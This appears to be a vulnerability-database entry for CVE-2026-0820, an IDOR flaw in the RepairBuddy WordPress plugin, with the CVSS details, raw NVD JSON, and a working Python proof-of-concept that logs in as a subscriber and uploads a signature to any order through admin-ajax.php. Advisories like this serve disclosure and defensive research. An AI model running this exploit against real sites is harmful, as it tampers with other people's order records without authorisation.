Security Vulnerability Report
中文
CVE-2026-0820 CVSS 4.3 MEDIUM

CVE-2026-0820

Published: 2026-01-17 04:16:08
Last Modified: 2026-04-15 00:35:42

Description

The RepairBuddy – Repair Shop CRM & Booking Plugin for WordPress plugin for WordPress is vulnerable to Insecure Direct Object Reference due to missing capability checks on the wc_upload_and_save_signature_handler function in all versions up to, and including, 4.1116. This makes it possible for authenticated attackers, with Subscriber-level access and above, to upload arbitrary signatures to any order in the system, potentially modifying order metadata and triggering unauthorized status changes.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

RepairBuddy – Repair Shop CRM & Booking Plugin for WordPress <= 4.1116

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import base64 import sys # CVE-2026-0820 PoC - WordPress RepairBuddy IDOR Vulnerability # Target: RepairBuddy - Repair Shop CRM & Booking Plugin < 4.1116 # Vulnerability: Insecure Direct Object Reference in wc_upload_and_save_signature_handler def exploit_signature_upload(target_url, wp_username, wp_password, order_id, signature_file): """ Exploit IDOR vulnerability to upload arbitrary signature to any order Args: target_url: WordPress site URL wp_username: WordPress subscriber account username wp_password: WordPress account password order_id: Target order ID to inject signature (can be any order in system) signature_file: Path to signature image file """ # Create WordPress session session = requests.Session() # Step 1: Authenticate to WordPress login_url = f"{target_url}/wp-login.php" login_data = { 'log': wp_username, 'pwd': wp_password, 'wp-submit': 'Log In', 'redirect_to': target_url } print(f"[*] Authenticating as {wp_username}...") response = session.post(login_url, data=login_data, allow_redirects=False) if 'wordpress_logged_in' not in session.cookies.get_dict(): print("[-] Authentication failed!") return False print("[+] Authentication successful!") # Step 2: Read signature file try: with open(signature_file, 'rb') as f: signature_data = f.read() signature_base64 = base64.b64encode(signature_data).decode('utf-8') except Exception as e: print(f"[-] Failed to read signature file: {e}") return False # Step 3: Exploit IDOR - Upload signature to arbitrary order exploit_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { 'action': 'wcrb_upload_and_save_signature', # Vulnerable AJAX action 'order_id': order_id, # IDOR: No ownership validation 'signature_data': signature_base64, 'signature_type': 'customer' } print(f"[*] Exploiting IDOR vulnerability on order ID: {order_id}...") response = session.post(exploit_url, data=exploit_data) # Step 4: Analyze response if response.status_code == 200: try: result = response.json() if result.get('success'): print(f"[+] SUCCESS! Signature uploaded to order {order_id}") print(f"[+] Response: {result}") return True else: print(f"[-] Upload failed: {result.get('message', 'Unknown error')}") return False except: if 'success' in response.text.lower() or 'uploaded' in response.text.lower(): print(f"[+] SUCCESS! Signature may have been uploaded to order {order_id}") return True print(f"[-] Exploitation failed with status code: {response.status_code}") return False if __name__ == "__main__": if len(sys.argv) < 6: print("Usage: python cve-2026-0820_poc.py <target_url> <username> <password> <order_id> <signature_file>") print("Example: python cve-2026-0820_poc.py http://victim.com admin password 123 signature.png") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] order_id = sys.argv[4] signature = sys.argv[5] exploit_signature_upload(target, username, password, order_id, signature)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-0820", "sourceIdentifier": "[email protected]", "published": "2026-01-17T04:16:08.150", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The RepairBuddy – Repair Shop CRM & Booking Plugin for WordPress plugin for WordPress is vulnerable to Insecure Direct Object Reference due to missing capability checks on the wc_upload_and_save_signature_handler function in all versions up to, and including, 4.1116. This makes it possible for authenticated attackers, with Subscriber-level access and above, to upload arbitrary signatures to any order in the system, potentially modifying order metadata and triggering unauthorized status changes."}, {"lang": "es", "value": "El plugin RepairBuddy – Repair Shop CRM &amp; Booking Plugin para WordPress plugin de WordPress es vulnerable a Referencia Directa a Objeto Insegura debido a la falta de comprobaciones de capacidad en la función wc_upload_and_save_signature_handler en todas las versiones hasta la 4.1116, inclusive. Esto permite a atacantes autenticados, con acceso de nivel Suscriptor y superior, cargar firmas arbitrarias a cualquier pedido en el sistema, modificando potencialmente los metadatos del pedido y desencadenando cambios de estado no autorizados."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-862"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/computer-repair-shop/tags/4.1116/lib/includes/classes/class-wcrb_signature.php#L562", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/computer-repair-shop/trunk/lib/includes/classes/class-wcrb_signature.php#L562", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?sfp_email=&sfph_mail=&reponame=&old=3436356%40computer-repair-shop&new=3436356%40computer-repair-shop&sfp_email=&sfph_mail=", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/1b2ad299-03b1-4b9e-a241-d2ad2d85c3ac?source=cve", "source": "[email protected]"}]}}